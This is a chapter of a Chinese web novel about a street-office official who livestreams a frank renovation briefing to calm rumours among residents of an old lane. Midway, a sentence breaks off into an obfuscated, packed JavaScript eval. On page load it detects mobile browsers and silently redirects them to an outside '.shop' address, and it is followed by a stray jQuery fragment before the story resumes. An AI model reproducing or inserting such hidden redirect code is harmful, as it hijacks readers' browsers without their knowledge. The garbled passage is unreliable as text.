文趣网 > 都市小说 > 全网都以为我退圈摆烂了 > 32. 发个大的
    梧桐巷排险启动第三天,居民群里先炸了。

    一种说法是,这次改造就是变着法子逼大家搬走。

    一种说法是,签字越早赔得越少,千万别当第一个。

    还有人甩出一张不知道从哪儿截来的图,言之凿凿地说,梧桐巷后续要整体商业开发,原住户根本留不住。

    最离谱的一版,已经编到了谢临舟身上。

    “听说街道那个谢临舟,其实早就跟开发公司有关系,前面那些直播,全是给这事铺路。”

    小林早上刷到这条时,脸都绿了。

    “不是,他们编得也太离谱了吧!”

    陈默更直接,气得把手机往桌上一拍:“谁传的,我现在就开号跟他吵。”

    “你别上头。”周敬在旁边提醒,“你一上头,他们反而有理由说你是带节奏的。”

    “那就眼睁睁看着?”

    “眼睁睁看着你上头,一样没用。”周敬说。

    陈默气得抚着胸口直顺气。

    王主任倒没立刻发火,只是看着那些聊天记录,脸色越来越沉。

    她比谁都清楚,这种时候一旦谣言压不住,后面每一步都更难走。

    你说图纸,人家不信。

    你讲政策,人家觉得你背稿。

    你再努力,别人也先默认你有目的。

    会议室里安静了几秒。

    王主任抬头:“小谢,你怎么看?”

    谢临舟把那几张聊天截图翻完,没立刻回答,只问了一句:“今天直播预告发了吗?”

    小林一愣:“还没。”

    “那发。”

    “发什么?”

    “发个大的。”他说。

    半小时后,临江街道办账号发出一条直播预告:

    【今晚七点,梧桐巷老城区改造说明会,全程直播。图纸、流程、补偿政策、过渡安排、排险依据、居民提问,能公开的都公开。】

    评论区和居民群瞬间炸了。

    【街道疯了?这种会也直播?】

    【我靠,直接开透明模式?】

    【谣言:我还没发完,他们把灯打开了。】

    【谢老师又要硬刚了。】

    【这是我今年最想看的直播,求别有审核。】

    王主任看完预告,挑了挑眉:“你这是一点退路都不给自己留啊。”

    “有些东西越藏越像有鬼。”谢临舟说,“那就摊开讲。”

    “讲得过来吗?”

    “讲不过来也得讲。”他把图纸一份份排好,“不然让谣言帮我们讲?”

    “你想好了?”

    “想好了。”

    王主任看了他几秒。

    “那行。”她说,“我给你兜底。”

    谢临舟一愣。

    “兜什么底?”

    “你讲的时候要是被人问住,我来补。”王主任说,“我在这片地方磨了二十年,总得有我能讲明白的地方。”

    他点了点头:“好。”

    晚上七点,梧桐巷临时说明会直播准时开始。

    活动室挤得满满当当,外头走廊都站了人。

    居民、志愿者、物业、派出所、设计单位、区住建口的人,都来了。

    连闻讯赶来的记者都被王主任拦在了后排:“今天居民优先,你们爱听就站着听,别抢麦。”

    有家电视台的记者小声嘀咕了一句:“……我们也是来做正面宣传的。”

    “正面宣传请你在后排正面就行。”王主任不动声色。

    记者:“……”

    直播一开,在线观看人数立刻冲高。

    可比人数更重要的,是现场气氛。

    不信任是真的,火气也是真的。

    说明会刚开场,后排就有人直接发问:

    “你们说排险,凭什么认定我家墙危险?”

    另一个立刻跟上:

    “过渡安置怎么保证?是不是今天说得好听,明天又变?”

    还有人直接把手机一举:

    “群里都在说后面要商业开发,你们今天给个准话!”

    小林站在镜头后面,手心全是汗。

    他从没见过这种说明会。

    而谢临舟坐在最中间,面前没有花里胡哨的PPT,只有一摞图纸和一支笔。

    他没先反驳,也没先煽情。

    第一句话是:

    “先说结论。”

    “第一,梧桐巷这次是老旧小区安全改造,不是商业开发。第二,涉及临时搬离的住户,先谈排险,再谈后续细项,不拿模糊词哄人。第三——”

    他抬眼扫过全场。

    “今晚谁有问题,尽量当场问。别回群里编新版本给自己加戏。”

    现场先是一静,接着传来几声没绷住的笑。

    气氛居然就这么被硬生生松下了一点。

    接下来的两个小时,说明会几乎成了公开答疑战场。

    哪栋排险优先,为什么这么排。

    临时住宿条件是什么,能不能锁门。

    家里老人卧床怎么办,猫狗能不能一起带。

    阳台违建是拆还是留,谁来定。

    改造后原有巷道格局会不会变。

    线路更换期间断电怎么安排。

    每个问题都具体、琐碎……带着梧桐巷每一名住户真实生活的重量。

    谢临舟一条条讲。

    讲不清的让设计单位当场补。

    涉及承诺的,让物业和街道都落到纸面上,当场签字。

    有居民情绪上来了,语气冲,他也不硬顶,只一句:“您骂我可以,先把您家情况说全,不然我不好挨骂。”

    后排又笑了一阵。

    还有一位大姐质问得特别凶:“你们改完之后,会不会把我们巷口那棵老梧桐砍了?!”

    “不会。”谢临舟直接答。

    “为什么不会?”

    “方案里标得很清楚,保留。”他把设计图翻到那页,推给她看,“您自己看。”

    大姐戴上老花镜,盯着图看了半天,又半信半疑地看了他一眼:“你这图……就是最终方案?后面不会改吧?”

    “改了也得公示。”

    “公示了再改呢?”

    “那我就是骗您。”谢临舟说,“您可以直接告到区里。”

    大姐:“……”

    她本来还想再怼一句,最后居然没怼出来。

    坐她旁边的邻居戳她:“你快别问了,再问人家都要帮你打行政官司了。”

    大姐脸一红,悻悻坐下。

    还有一位抱着孩子的年轻妈妈站起来问:“能不能先改我们这栋一楼的排水?我们家孩子上个月刚因为潮气进医院了一次。”

    谢临舟翻到排险优先级表,指给她看:“您家那栋在第一批。最迟下周开工。”

    “真的?”

    “真的。”

    “那……可不可以请你们施工的时候,能不能别用那种味道特别大的防水涂料?我孩子有哮喘。”

    施工方的工程师原本是陪会的,没想到会被点名,愣了一下,站起来接话:“……如果是哮喘,我们可以换一款水性环保的。”

    “成本呢?”谢临舟直接问。

    “略高一点。”

    “高多少?”

    “大概百分之五。”

    “这个差额走专项基金里‘特殊情况预算’。”王主任在旁边直接拍板,“这种差额不能让居民贴。”

    年轻妈妈愣住:“……这个也能走?”

    “能。”王主任说,“您登记就行。”

    年轻妈妈抱着孩子点头:“好,好。”

    她坐下时,贴了贴孩子红扑扑的小脸——小抱被里睡得正香。

    陈默在旁边小声对小林嘀咕:“我今天真长见识了。”

    “以前不知道这些?”

    “以前我只知道弹幕打字。”陈默说,“现在知道,有些事是真的能问出来、谈下来的。”

    “那也得有人肯接、能接。”

    “嗯。”

    陈默认同地点了点头。

    直播间弹幕也在滚:

    【这小伙儿答得也太具体了。】

    【这要是我住那儿,我也得问到这个份上。】

    【关键是他敢让居民当场拿图纸核。】

    【这还是基层版的阳光政务啊。】

    【“别回群里编新版本给自己加戏”——绝杀。】

    陈默站在边上,看得有些发怔。

    他以前总觉得,谢临舟最厉害的时候,是直播里抓骗子,是一句话把记者噎得接不上。

    可今天不一样。

    今天没有哪句话特别漂亮,也没有哪个瞬间特别痛快。

    他就是坐在最前面,把所有人最不信、最烦、最怕的东西,一件一件接住,再一件一件往下拆。

    陈默忽然明白,原来有些场面,赢不赢嘴仗根本不重要。

    重要的是,别人终于肯把问题递到你面前。

    说明会快结束时,那个最开始贴出“不同意乱改”的王大爷忽然举了手。

    全场都看过去。

    他清了清嗓子,有点别扭地问:“那……要是你们后面说的话没做到,找谁?”

    屋里安静了一瞬。

    谢临舟看着他,没躲。

    “找我。”他说。

    “电话公开,办公室公开,社区也找得到我。哪一条没做到,您直接来问。”

    他停了一下。

    “不用托人,也不用在群里猜。”

    大爷盯着他看了好几秒。

    “你要是调走了呢?”

    “那我先把接手的人留给您骂。”

    全场哄

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17509977|202955||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    笑出声。

    连大爷自己都没忍住,嘴角抽了一下。

    “……你这小子。”

    “我就这样。”谢临舟说,“您多担待。”

    散会时已经九点多。

    王主任送最后一批居民出门。

    巷口那盏灯还亮着,照着墙上一排旧告示。

    王大爷站在自家门前,低头抠了半天,把贴在巷口的纸也一点一点地揭下来,揉成一团,塞进了楼栋前的垃圾桶。

    他没回头,也没说话。

    可王主任站在门口,看了很久。

    “我说,”她转身对身后的谢临舟开口,“你这两个小时讲的话,比我一年都多。”

    “讲完就讲完了。”谢临舟说,“又不用再重复。”

    “你这种态度,哪天要是让你上综艺,非得把你折腾死。”

    “所以我没去。”

    王主任哼笑了一声。

    过了一会儿,她才慢慢说:

    “今天这一关,过了。”

    “嗯。”

    “但只是第一关。”

    “我知道。”谢临舟说,“后面还有更具体的。”

    王主任点点头,拍了下他的肩膀:

    “你小子行的。”

    说明会后的第二天,临江街道办的电话被打爆了。

    不是来骂人的,也不是来闹事的。

    是居民打来问细节的:

    “小谢说我家那栋排第二批,是指哪一天?”

    “我家阳台违建需要自己拆还是你们统一处理?”

    “我家老人吃完药要睡到中午,施工能不能下午再开始?”

    小林接电话接得嗓子都哑了。

    他挂断第三十七通电话时,手机烫得能煎蛋。

    王主任端着杯水过来:“喝点,别把喉咙喊废了。”

    “主任,”小林一脸恍惚,“我感觉昨天那场会——”

    “怎么了?”

    “像是把整个梧桐巷,从怀疑挡切到了配合挡。”

    王主任笑了一下。

    “还真是。”她说。

    她坐下来,自己也喝了一口水,看着窗外那盏老路灯。

    “但咱们得心里有数。”她慢慢说,“从‘愿意问’到‘愿意配合’,中间还有一道坎。”

    “什么坎?”

    “是你答应的那些事,一件一件真的落下去。”

    “一件落不下去,前面所有的信任,都得掉。”

    小林沉默了。

    他低头看了眼自己桌上的那叠问题清单——整整两页,每一条后面都写着居民的名字和电话。

    他把清单放在面前,一支笔压在上面。

    然后给每一条重新编了号。

    编完,他抬头看了一眼办公室里谢临舟那张已经被资料堆满的桌子。

    他忽然觉得,昨晚说明会上那一场“刷屏直播”,对临江街道办的人来说,并不是结束。

    那是一张新的责任书,刚写完抬头。

    那天王主任也接了很多电话。

    其中有一通,是区里一位老领导打来的。

    老领导快六十了,再过两年就要退休,是王主任多年前实习时的带教领导。

    “小王,昨晚那场说明会我看了。”

    “嗯。”

    “你们那个年轻人,叫谢临舟的。”

    “嗯。”

    “他不错。”

    王主任握着手机:“谢您肯定。”

    “我就是想问你一句——”老领导顿了顿,“你打算让他在你那儿待多久?”

    王主任想了想:“他愿意待多久,就待多久。”

    “你不考虑推他一把?”

    “推了。”王主任说,“但他暂时不想走。”

    “为什么?”

    “他有他的节奏。”

    老领导笑了一声。

    “行。”他说,“那你就给他留节奏。这种人不能催。”

    “明白。”

    “不过你也得准备。”

    “准备什么?”

    “准备他哪天想走的时候。”老领导说,“这种人,不会永远待在一个窗口后面。”

    王主任沉默了一下。

    “我准备好了。”她说,“等他想走,我亲自送他。”

    挂掉电话,她在办公桌前坐了很久。

    她想起谢临舟当初来报到那天,还穿着一件和周围格格不入的深色衬衫。

    想起他第一次盖章时,手还有点僵。

    想起他第一次被阿姨拉着问“你年轻人怎么办医保卡”时,耐着性子一条一条讲。

    想起——昨晚说明会上,他坐在最前面那张椅子上的样子。

    她只是没想到,自己第一次认真想这件事时,心里先冒出来的,竟然不是替他高兴。

    而是舍不得。